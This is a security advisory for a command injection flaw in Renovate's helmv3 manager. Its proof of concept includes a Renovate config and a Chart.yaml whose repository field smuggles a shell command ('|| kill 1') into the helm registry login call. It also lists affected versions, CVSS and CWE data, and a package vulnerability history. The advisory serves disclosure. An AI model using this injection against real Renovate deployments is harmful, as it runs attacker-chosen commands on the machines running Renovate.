Renovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file
Summary
The user-provided string repository in the helmv3 manager is appended to the helm registry login command without proper sanitization.
Details
Adversaries can provide a maliciously crafted Chart.yaml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
The value for both uses of the repository variable in lib/modules/manager/helmv3/common.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 31.51.0 (https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432), released on January 24 of 2022.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
},
},
// Register any credentials to make the manager attempt to use basic auth for the Helm registry
hostRules: [
{
matchHost: "charts.bitnami.com",
username: "un",
password: "pw",
},
],
packageRules: [
{
// Target of the day
matchManagers: ["helmv3"],
// Don't consult the actual bitnami repo
registryUrls: [],
// But still, trick the manager in believing there's a new version
overrideDatasource: "custom.always",
},
],
}Chart.yaml:
apiVersion: v2
name: renovate-aci-1
version: 0.0.1
dependencies:
- name: redis
version: 0.1.0
repository: oci://charts.bitnami.com/bitnami || kill 1Chart.lock:
dependencies:
- name: redis
repository: oci://charts.bitnami.com/bitnami- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
[!NOTE] This specific proof of concept was made a lot simpler with the introduction of the
overrideDatasourceconfiguration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual Helm registry on the malformed repository URL.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | renovate | >= 31.51.0, < 40.33.0 | 40.33.0 |
References
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-77- Platform
- npm
- Package
renovate- Disclosed
- 13.01.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3f44-xw83-3pmg - CC BY 4.0
Vulnerability history: renovate
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 11
- First → latest
- 10.2019 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 11
Disclosures per year
- 2019: 1
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 8
-
Renovate vulnerable to arbitrary command injection via helmv3 manager and malicious Chart.yaml file this entry
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